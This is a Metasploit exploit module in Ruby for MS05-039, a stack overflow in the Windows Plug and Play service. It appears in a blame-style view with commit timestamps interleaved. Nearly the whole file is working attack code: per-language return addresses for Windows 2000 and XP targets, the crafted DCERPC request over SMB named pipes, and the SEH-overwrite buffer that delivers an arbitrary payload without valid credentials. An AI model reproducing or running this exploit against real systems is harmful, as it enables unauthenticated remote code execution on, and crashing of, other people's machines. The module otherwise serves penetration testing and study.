2005-11-26 02:33:39 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Smb::MS05_039_PNP < Msf::Exploit::Remote
|
|
|
|
|
2005-12-13 06:08:40 +00:00
|
|
|
include Exploit::Remote::DCERPC
|
2006-07-30 21:31:02 +00:00
|
|
|
include Exploit::Remote::SMB
|
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft PnP MS05-039 Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the Windows Plug
|
|
|
|
and Play service. This vulnerability can be exploited on
|
|
|
|
Windows 2000 without a valid user account. Since the PnP
|
|
|
|
service runs inside the service.exe process, a failed
|
|
|
|
exploit attempt will cause the system to automatically
|
2006-07-31 02:01:14 +00:00
|
|
|
reboot.
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
},
|
2006-07-31 02:01:14 +00:00
|
|
|
'Author' => [ 'hdm', 'bmc' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 02:33:39 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '18605'],
|
|
|
|
[ 'CVE', '2005-1983'],
|
|
|
|
[ 'BID', '14513'],
|
|
|
|
[ 'MSB', 'MS05-039'],
|
|
|
|
[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'],
|
|
|
|
[ 'MIL', '87'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "",
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
# -ws2ord XXX?
|
|
|
|
},
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-26 02:33:39 +00:00
|
|
|
},
|
2006-01-27 05:00:35 +00:00
|
|
|
'Platform' => 'win',
|
2005-11-26 02:33:39 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
2005-11-26 04:04:49 +00:00
|
|
|
'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
|
2005-11-26 02:33:39 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x767a38f6, # umpnpmgr.dll
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows 2000 SP4 French',
|
|
|
|
{
|
|
|
|
'Ret' => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com>
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows 2000 SP4 Spanish',
|
|
|
|
{
|
|
|
|
'Ret' => 0x767738f6, # umpnpmgr.dll
|
|
|
|
},
|
|
|
|
],
|
2006-07-31 02:01:14 +00:00
|
|
|
[
|
|
|
|
'Windows 2000 SP4 English/French/German/Dutch',
|
|
|
|
{
|
|
|
|
'Ret' => 0x01013C79, # [Pita] [Houmous] <pita@mail.com>
|
|
|
|
},
|
|
|
|
],
|
2005-11-26 02:33:39 +00:00
|
|
|
[
|
|
|
|
'Windows 2000 SP0-SP4 German',
|
|
|
|
{
|
|
|
|
'Ret' => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de>
|
|
|
|
},
|
2006-07-31 02:01:14 +00:00
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows 2000 SP0-SP4 Italian',
|
|
|
|
{
|
|
|
|
'Ret' => 0x7677366f, # acaro <acaro@jervus.it>
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows XP SP1 English',
|
|
|
|
{
|
|
|
|
'Ret' => 0x758c572a,
|
|
|
|
'Pipe' => 'ntsvcs',
|
|
|
|
'Offset' => 16,
|
|
|
|
}
|
|
|
|
]
|
2005-11-26 02:33:39 +00:00
|
|
|
],
|
2006-01-27 05:00:35 +00:00
|
|
|
|
|
|
|
'DefaultTarget' => 0,
|
2005-12-13 06:08:40 +00:00
|
|
|
'DisclosureDate' => 'Aug 9 2005'))
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
|
2005-12-25 22:47:38 +00:00
|
|
|
], self.class)
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
def pnp_probe(req, pipe = datastore['SMBPIPE'])
|
|
|
|
|
|
|
|
print_status("Connecting to the SMB service...")
|
2005-12-13 06:08:40 +00:00
|
|
|
connect()
|
2006-04-30 19:49:27 +00:00
|
|
|
smb_login()
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
|
2006-01-27 05:00:35 +00:00
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# CS_DES
|
2006-01-27 05:00:35 +00:00
|
|
|
cs_des =
|
|
|
|
NDR.long(0) + # CSD_SignatureLength
|
|
|
|
NDR.long(0) + # CSD_LegacyDataOffset
|
|
|
|
NDR.long(req.length) + # CSD_LegacyDataSize
|
|
|
|
NDR.long(0) + # CSD_Flags
|
|
|
|
Rex::Text.rand_text(16) + # GUID
|
|
|
|
req # CSD_LegacyData
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
|
|
|
|
|
|
|
|
# ResourceName:
|
2006-01-27 05:00:35 +00:00
|
|
|
stubdata =
|
|
|
|
NDR.UnicodeConformantVaryingString("a\\b\\c") + # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
|
|
|
|
NDR.long(0xffff) + # ResourceID: ResType_ClassSpecific
|
|
|
|
NDR.UniConformantArray(cs_des) + # Resource (our CS_DES structure)
|
|
|
|
NDR.long(cs_des.length) + # ResourceLen
|
|
|
|
NDR.long(4) + # OutputLen (at least 4)
|
|
|
|
NDR.long(0) # Flags
|
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
print_status("Calling the vulnerable function...")
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
begin
|
|
|
|
dcerpc.call(0x36, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
2006-07-31 02:01:14 +00:00
|
|
|
print_good('Server did not respond, this is expected')
|
2006-02-21 16:18:38 +00:00
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
2006-07-31 02:01:14 +00:00
|
|
|
print_good('Server disconnected, this is expected')
|
2006-02-21 16:18:38 +00:00
|
|
|
else
|
|
|
|
raise e
|
|
|
|
end
|
2006-01-27 05:00:35 +00:00
|
|
|
else
|
2006-07-31 02:01:14 +00:00
|
|
|
print_status('The server should have executed our payload')
|
2006-01-27 05:00:35 +00:00
|
|
|
end
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
|
|
|
disconnect
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
if (dcerpc.last_response != nil and
|
|
|
|
dcerpc.last_response.stub_data != nil and
|
|
|
|
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
|
|
|
|
return true
|
|
|
|
else
|
|
|
|
return false
|
|
|
|
end
|
2005-11-26 02:33:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
if (pnp_probe('A'))
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# Pad the string up to reach our SEH frame
|
2006-07-31 02:01:14 +00:00
|
|
|
buf = Rex::Text.rand_text(target['Offset'] ? target['Offset'] : 56)
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# Jump over the address and our invalid pointer to the payload
|
|
|
|
buf << Rex::Arch::X86.jmp_short('$+32')
|
2005-12-13 06:08:40 +00:00
|
|
|
buf << Rex::Text.rand_text(2)
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# The SEH handler pointer
|
|
|
|
buf << [target.ret].pack('V')
|
|
|
|
|
|
|
|
# Some padding to reach the next pointer
|
2005-12-13 06:08:40 +00:00
|
|
|
buf << Rex::Text.rand_text(20)
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# ResourceName - cause access violation on RtlInitUnicodeString
|
2005-12-13 06:08:40 +00:00
|
|
|
buf << Rex::Text.rand_text(3) + "\xff"
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# Append the encoded payload and we are good to go!
|
|
|
|
buf << payload.encoded
|
|
|
|
|
2006-07-31 02:01:14 +00:00
|
|
|
# Determine which pipe to use
|
|
|
|
pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE']
|
|
|
|
|
|
|
|
pnp_probe(buf, pipe)
|
2005-11-26 02:33:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|